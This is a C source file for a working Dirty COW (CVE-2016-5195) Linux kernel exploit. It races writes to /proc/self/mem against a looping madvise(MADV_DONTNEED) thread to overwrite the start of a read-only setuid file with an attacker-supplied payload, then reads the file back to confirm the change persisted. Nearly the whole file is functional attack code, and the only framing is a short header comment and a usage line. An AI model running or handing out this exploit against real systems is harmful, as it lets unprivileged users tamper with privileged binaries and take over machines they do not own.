// dcw_classic.c - classic single-process Dirty COW (CVE-2016-5195)
// races a /proc/self/mem write against a madvise(MADV_DONTNEED) thread
// to overwrite the start of a setuid file with a payload. Exits when verified.
// usage: ./dcw_classic <target> <payloadfile>
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdlib.h>

static long mlen;
void *madviseThread(void *arg) {
    void *maddr = (void*)arg;
    while (1) {
        madvise(maddr, mlen, MADV_DONTNEED);
    }
    return NULL;
}

int main(int argc, char *argv[]) {
    if (argc < 3) { fprintf(stderr, "usage: %s <target> <payloadfile>\n", argv[0]); return 1; }
    struct stat st;
    int f, fm;
    void *map;
    char *payload;
    off_t plen;

    FILE *fp = fopen(argv[2], "rb");
    if (!fp) { perror("fopen payload"); return 1; }
    fseek(fp, 0, SEEK_END); plen = ftell(fp); rewind(fp);
    payload = malloc(plen);
    if (fread(payload, 1, plen, fp) != (size_t)plen) { perror("fread"); return 1; }
    fclose(fp);
    printf("payload %d bytes\n", (int)plen);
    mlen = plen;

    f = open(argv[1], O_RDONLY);
    if (f < 0) { perror("open target"); return 1; }
    fstat(f, &st);
    map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
    if (map == MAP_FAILED) { perror("mmap"); return 1; }
    printf("mmap %p size %d\n", map, (int)st.st_size);

    fm = open("/proc/self/mem", O_RDWR);
    if (fm < 0) { perror("open /proc/self/mem"); return 1; }

    pthread_t pth;
    pthread_create(&pth, NULL, madviseThread, map);

    int i, ok = 0;
    for (i = 0; i < 1000000; i++) {
        lseek(fm, (off_t)map, SEEK_SET);
        ssize_t w = write(fm, payload, plen);
        (void)w;
        // verify: read back from the file
        char *b = malloc(plen);
        lseek(f, 0, SEEK_SET);
        ssize_t r = read(f, b, plen);
        if (r == plen && memcmp(b, payload, plen) == 0) {
            ok = 1;
            printf("persisted after %d rounds\n", i);
            break;
        }
        free(b);
    }
    printf("verify: %d\n", ok);
    return ok ? 0 : 1;
}
